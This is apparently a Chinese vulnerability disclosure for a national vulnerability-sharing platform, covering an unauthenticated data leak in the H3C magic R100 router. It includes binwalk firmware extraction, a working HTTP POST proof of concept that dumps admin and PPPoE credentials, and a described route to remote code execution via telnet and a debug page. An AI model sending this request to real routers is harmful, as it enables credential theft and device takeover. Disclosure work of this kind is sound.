**工业和信息化部网络安全威胁和漏洞信息共享平台(NVDB)漏洞附件**

|  |  |
| --- | --- |
| **漏洞基本信息** | |
| **漏洞名称** | 新华三magicR100存在信息泄露 |
| **漏洞验证** | |
| **漏洞验证过程** | 漏洞描述 存在/AJAX/ajaxget接口可以非授权访问，通过ajaxmsg搭配上aspGetGroup()可以调用读取一些敏感信息登入后台后可以实现RCE  版本：<=MagicR100V100R005 <=MagciR100V200R00 漏洞分析与复现一、固件获取和解包 虽然我有物理机，但是我还是从官网下的更新固件包，<https://download.h3c.com.cn/download.do?id=3342938>  通过binwalk R100V100R100进行解包,发现可以直接查看到内容，  ZHEFOX@ZHEFOX-MacOS:~/Desktop$ binwalk R100V100R005.bin   DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 33280 0x8200 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4145728 bytes 1245184 0x130000 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2269691 bytes, 534 inodes, blocksize: 131072 bytes, created: 2018-01-17 03:54:08  使用binwalk -eM R100V100R100进行提取  ZHEFOX@ZHEFOX-MacOS:~/Desktop$ binwalk -eM R100V100R005.bin   Scan Time: 2022-03-31 19:12:49 Target File: /home/ZHEFOX/Desktop/R100V100R005.bin MD5 Checksum: 42ec9ec3de32216ae2d93ad1ff3a208b Signatures: 411  DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 33280 0x8200 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4145728 bytes  WARNING: Symlink points outside of the extraction directory: /home/ZHEFOX/Desktop/\_R100V100R005.bin.extracted/squashfs-root/web -> /var/web; changing link target to /dev/null for security purposes.  WARNING: Symlink points outside of the extraction directory: /home/ZHEFOX/Desktop/\_R100V100R005.bin.extracted/squashfs-root/dev/log -> /var/tmp/log; changing link target to /dev/null for security purposes. 1245184 0x130000 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2269691 bytes, 534 inodes, blocksize: 131072 bytes, created: 2018-01-17 03:54:08   Scan Time: 2022-03-31 19:12:51 Target File: /home/ZHEFOX/Desktop/\_R100V100R005.bin.extracted/8200 MD5 Checksum: 4b2d56fb09ee2c3feafac6513c01f7c6 Signatures: 411  DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 uImage header, header size: 64 bytes, header CRC: 0xFB26C18E, created: 2018-01-17 03:51:29, image size: 4145664 bytes, Data Address: 0x80001000, Entry Point: 0x800044B0, data CRC: 0x9E4BD9D4, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: none, image name: "Linux Kernel Image" 3194976 0x30C060 Linux kernel version 2.6.30 3260544 0x31C080 CRC32 polynomial table, little endian 3274176 0x31F5C0 SHA256 hash constants, big endian 3281920 0x321400 CRC32 polynomial table, big endian 3475335 0x350787 Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)" 3477803 0x35112B HTML document header 3477966 0x3511CE HTML document footer 3666048 0x37F080 AES S-Box 3974025 0x3CA389 Microsoft executable, MS-DOS 4145216 0x3F4040 ASCII cpio archive (SVR4 with no CRC), file name: "/dev", file name length: "0x00000005", file size: "0x00000000" 4145332 0x3F40B4 ASCII cpio archive (SVR4 with no CRC), file name: "/dev/console", file name length: "0x0000000D", file size: "0x00000000" 4145456 0x3F4130 ASCII cpio archive (SVR4 with no CRC), file name: "/root", file name length: "0x00000006", file size: "0x00000000" 4145572 0x3F41A4 ASCII cpio archive (SVR4 with no CRC), file name: "TRAILER!!!", file name length: "0x0000000B", file size: "0x00000000"  成功提取后，进入发现是squashfs架构，在squashfs-root发现了www目录，跟进发现是一个asp网站 二、漏洞实现和分析 曾经在攻击该接口时，因为无法改参数无法实现RCE，但是我还在思考到会不会这个接口可以有别利用前途呢，我将服务器的http的binary丢入IDA进行分析查阅。  366: function AjaxGetWan1State()  367 {  368 XMLHttpReqtmp = createXMLHttpRequest();  369 if (XMLHttpReqtmp)  370 {  371: var url = "AJAX/ajaxget";  372 var msg="ajaxmsg=aspGetGroup(Wan1BasicState)";  373 XMLHttpReqtmp.open("POST", url, true);  ...  385 { // ÐÅÏ¢ÒÑ¾­³É¹¦·µ»Ø£¬¿ªÊ¼´¦ÀíÐÅÏ¢  386 XMLHttpReq=null;  387: setTimeout("AjaxGetWan1State();",2000);  388 }  389 else   ...  399 if (XMLHttpReq)  400 {  401: var url = "AJAX/ajaxget";  402 var msg="ajaxmsg=aspGetGroup(Wan1Ping)";  403 XMLHttpReq.open("POST", url+"?IsVersionCheck=1", true);  通过已知的可利用接口在IDA直接搜索字符串，并追踪。    交叉引用继续跟进，      发现存在很多的接口，这些都是可以调用的函数方法，可以通过此处打印出一些信息，初步尝试打印出了系统的日志文件。 在观察和不断读取泄露信息时，发现了自己的wifi账号和密码！！！   在这里我们可以看到管理员和访客路由器的账号密码，连接设备等信息，再访问下图接口，可以查看网站管理密码如果和wifi密码一样就是1   POC： ————————————————————————————————— 获取管理员账号密码 ——————————————————————————————————— POST /AJAX/ajaxget HTTP/1.1 Host: 192.168.124.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 78430 Origin: http://192.168.124.1 Connection: close Referer: http://192.168.124.1/AJAX/ajaxget Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache  ajaxmsg=aspGetGroup(process\_pppoe\_user)  拿到了密码，我们就可以去访问系统的管理界面，    先把讨厌的防御关了，发现该机器存在telnet，    同时发现存在<http://192.168.124.1/debug.asp> 这个调试网页    打开Telnet就可以RCE，虽然存在其他RCE方法，但是这个方法最简单。  解决措施：  对接口访问加权限。 |